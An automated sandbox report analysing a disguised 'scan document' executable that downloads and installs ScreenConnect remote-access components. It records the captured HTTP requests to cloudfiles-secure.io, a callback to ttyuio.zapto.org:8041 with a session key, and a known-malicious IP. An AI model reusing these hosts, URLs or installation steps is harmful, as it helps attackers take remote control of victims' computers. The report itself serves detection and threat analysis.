Windows Analysis Report
Scan_doc_09_16_24_1120.exe

Overview

General Information

Sample name: Scan_doc_09_16_24_1120.exe
Analysis ID: 1523878
MD5: 3d6752aea446d36e3078f6ae7c0490a1
SHA1: 71660374adf680ae661c675d1723bd5ab06c77a8
SHA256: 8626a972070c42a888f9372155d32cb05a3f9140d607136e4f5680fb32c2bd77
Tags: exefiledn-comuser-JAMESWT_MHT
Infos:

Detection

ScreenConnect Tool
Score: 66
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Compliance

Score: 33
Range: 0 - 100

Signatures

Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
.NET source code references suspicious native API functions
AI detected suspicious sample
Contains functionality to hide user accounts
Creates files in the system32 config directory
Enables network access during safeboot for specific services
Initial sample is a PE file and has a suspicious name
Reads the Security eventlog
Reads the System eventlog
AV process strings found (often used to terminate AV products)
Adds / modifies Windows certificates
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates or modifies windows services
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops certificate files (DER)
EXE planting / hijacking vulnerabilities found
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Launches processes in debugging mode, may be used to hinder debugging
May sleep (evasive loops) to hinder dynamic analysis
May use bcdedit to modify the Windows boot settings
Modifies existing windows services
One or more processes crash
PE file contains an invalid checksum
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports
Stores large binary data to the registry
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected ScreenConnect Tool

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: Scan_doc_09_16_24_1120.exe Virustotal: Detection: 13% Perma Link
Source: Scan_doc_09_16_24_1120.exe ReversingLabs: Detection: 18%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 87.0% probability
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00831000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_00831000
EXE planting / hijacking vulnerabilities found
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe Jump to behavior

Compliance
barindex
EXE planting / hijacking vulnerabilities found
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe Jump to behavior
Uses 32bit PE files
Source: Scan_doc_09_16_24_1120.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: Scan_doc_09_16_24_1120.exe Static PE information: certificate valid
Source: unknown HTTPS traffic detected: 178.215.236.119:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: Scan_doc_09_16_24_1120.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: dfsvc.exe, 00000001.00000002.2784738148.00000227082D0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.00000227082E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707F4C000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284476507.0000000001852000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: Scan_doc_09_16_24_1120.exe
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.2784738148.00000227082CC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022708353000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707F47000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000B.00000002.2282591404.00000000024C2000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.WindowsClient.exe, 0000000D.00000002.3273020779.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000F.00000002.2941168266.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000F.00000002.2940865152.0000000003100000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbe source: ScreenConnect.WindowsClient.exe, 0000000A.00000000.2273256028.0000000000FF2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 0000000B.00000000.2277621533.0000000000BCD000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.2784738148.0000022707F43000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270838D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.00000227082C8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2286646662.000000001C312000.00000002.00000001.01000000.00000012.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 0000000A.00000000.2273256028.0000000000FF2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbW] source: dfsvc.exe, 00000001.00000002.2784738148.0000022707F43000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270838D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.00000227082C8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2286646662.000000001C312000.00000002.00000001.01000000.00000012.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.2784738148.00000227082D0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.00000227082E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707F4C000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284476507.0000000001852000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707F3B000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270802E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707EC3000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000B.00000002.2283012190.0000000004B32000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00834A4B FindFirstFileExA, 0_2_00834A4B
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\ Jump to behavior

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 178.215.236.119:443 -> 192.168.2.5:49722
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 178.215.236.119:443 -> 192.168.2.5:49723
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 178.215.236.119:443 -> 192.168.2.5:49729
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 178.215.236.119:443 -> 192.168.2.5:49734
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 178.215.236.119:443 -> 192.168.2.5:49731
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 178.215.236.119:443 -> 192.168.2.5:49739
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 178.215.236.119:443 -> 192.168.2.5:49742
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 178.215.236.119:443 -> 192.168.2.5:49743
Enables network access during safeboot for specific services
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Registry value created: NULL Service
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.5:49745 -> 178.215.236.119:8041
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=ttyuio.zapto.org&p=8041&s=73549b67-726b-470e-ab1a-fbbb83a6a15b&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 178.215.236.119 178.215.236.119
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: LVLT-10753US LVLT-10753US
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=ttyuio.zapto.org&p=8041&s=73549b67-726b-470e-ab1a-fbbb83a6a15b&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: cloudfiles-secure.ioAccept-Encoding: gzip
Source: global traffic DNS traffic detected: DNS query: cloudfiles-secure.io
Source: global traffic DNS traffic detected: DNS query: ttyuio.zapto.org
Source: svchost.exe, 00000007.00000003.2156243757.0000022265375000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2165857970.0000022265379000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2156320828.0000022265374000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272112459.0000022265337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2165831029.0000022265376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272173508.000002226535F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 00000007.00000002.3272173508.000002226535F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 00000007.00000002.3272552281.0000022265A67000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272173508.000002226535F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 00000007.00000002.3272552281.0000022265A32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3271223902.0000022264AB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/tb:pp
Source: svchost.exe, 00000007.00000002.3272552281.0000022265A32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2088814426.0000022265A36000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272697084.0000022265A69000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/tb_
Source: Scan_doc_09_16_24_1120.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Scan_doc_09_16_24_1120.exe, 00000000.00000002.2220205014.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustXL9
Source: C56C4404C4DEF0DC88E5FCD9F09CB2F10.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt
Source: Scan_doc_09_16_24_1120.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Scan_doc_09_16_24_1120.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: F2E248BEDDBB2D85122423C41028BFD40.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
Source: Scan_doc_09_16_24_1120.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: dfsvc.exe, 00000001.00000002.2784738148.00000227082E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270845D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022708353000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022708459000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cloudfiles-secure.io
Source: svchost.exe, 00000006.00000002.3274283658.000001E585061000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3271223902.0000022264AD2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.ver)
Source: Scan_doc_09_16_24_1120.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Scan_doc_09_16_24_1120.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Scan_doc_09_16_24_1120.exe, 00000000.00000002.2220205014.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256Time
